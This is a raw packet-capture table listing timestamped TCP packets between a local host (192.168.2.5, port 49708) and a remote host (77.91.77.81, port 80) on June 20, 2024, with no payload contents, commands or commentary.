Jun 20, 2024 15:38:10.821166039 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821182966 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821216106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.821248055 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821264029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821279049 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821291924 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821294069 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.821315050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.821321964 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821333885 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.821356058 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.821362972 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821376085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821389914 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821397066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821400881 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.821415901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821424961 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821433067 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821449041 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.821471930 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.821482897 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.863789082 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.863867998 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.863879919 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.863882065 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.863909960 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.863919020 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.863934040 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.863934040 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.863955021 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.863967896 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.863970041 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.863984108 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.864000082 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.864017010 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.864033937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.864046097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875135899 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875150919 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875168085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875195026 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875210047 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875209093 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875227928 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875242949 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875253916 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875262022 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875272989 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875278950 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875288010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875304937 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875305891 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875322104 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875339985 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875351906 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875366926 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875381947 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875394106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875397921 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875421047 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875443935 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875484943 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875499964 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875526905 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875541925 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875555038 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875571012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875587940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875601053 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875603914 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875614882 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875619888 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875631094 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875636101 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.875654936 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.875677109 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905002117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905041933 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905057907 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905076027 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905114889 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905117035 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905117035 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905132055 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905149937 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905155897 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905165911 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905172110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905188084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905201912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905457020 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905472040 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905487061 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905503988 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905519009 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905601025 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905615091 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905616045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905632019 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905658960 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905679941 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.905936003 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905961037 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905975103 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.905988932 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906007051 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906018019 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906032085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906061888 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906086922 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906107903 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906107903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906124115 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906141043 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906147957 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906156063 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906161070 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906181097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906210899 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906277895 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906291962 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906306982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906321049 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906339884 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906351089 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906353951 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906371117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906399012 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906402111 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906411886 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906420946 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906436920 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906445026 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906460047 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906472921 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906517982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906533003 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906548023 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906563044 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906573057 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906579018 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906610012 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906610012 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906610966 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906651974 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906651974 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906670094 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906686068 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906698942 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906707048 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906723976 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906727076 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906727076 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906740904 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906766891 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906766891 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906799078 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906807899 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906825066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906843901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906860113 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906860113 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906860113 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906900883 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906900883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906900883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906915903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906944990 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906951904 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906968117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906970024 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.906982899 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.906996965 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907001019 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907030106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907030106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907071114 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907210112 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907223940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907238960 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907253027 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907262087 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907274008 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907285929 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907346010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907361031 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907376051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907390118 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907390118 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907403946 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907407045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907422066 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907423973 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907439947 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907439947 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907452106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907463074 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907481909 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907485008 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907500982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907516003 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907522917 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907531977 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907537937 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907550097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907563925 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907576084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907599926 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907681942 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907707930 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907727003 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907728910 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907741070 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907743931 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907759905 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907768011 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907785892 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.907789946 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907800913 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907823086 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.907998085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908016920 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908046007 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908065081 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908365965 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908381939 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908399105 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908410072 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908423901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908437967 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908437967 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908438921 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908454895 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908461094 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908472061 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908478975 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908498049 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908526897 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908540964 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908556938 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908560038 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908560038 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908572912 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908587933 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908588886 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908601999 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908607006 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908613920 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908623934 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.908623934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908638954 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.908660889 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.950932980 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.950953960 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.950973034 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.950997114 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.951020956 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.951021910 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.951056004 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.951060057 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.951072931 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.951073885 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.951097012 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.951113939 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962155104 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962217093 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962243080 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962260008 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962275982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962285995 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962292910 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962304115 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962311029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962325096 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962337971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962349892 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962378025 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962393045 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962408066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962423086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962425947 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962439060 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962440014 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962455034 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962466955 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962481022 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962487936 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962505102 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962521076 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962536097 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962537050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962562084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962579966 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962580919 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962600946 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962616920 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962620020 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962634087 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962635994 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962650061 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962651014 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962680101 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962680101 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962712049 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962726116 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.962755919 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.962766886 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992269993 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992284060 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992300034 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992316961 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992336988 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992345095 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992357969 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992362976 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992371082 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992382050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992404938 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992408037 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992424011 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992439985 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992455959 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992461920 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992472887 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992479086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992491961 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992507935 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992510080 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992525101 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.992541075 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.992542028 CEST	49708	80	192.168.2.5	77.91.77.81
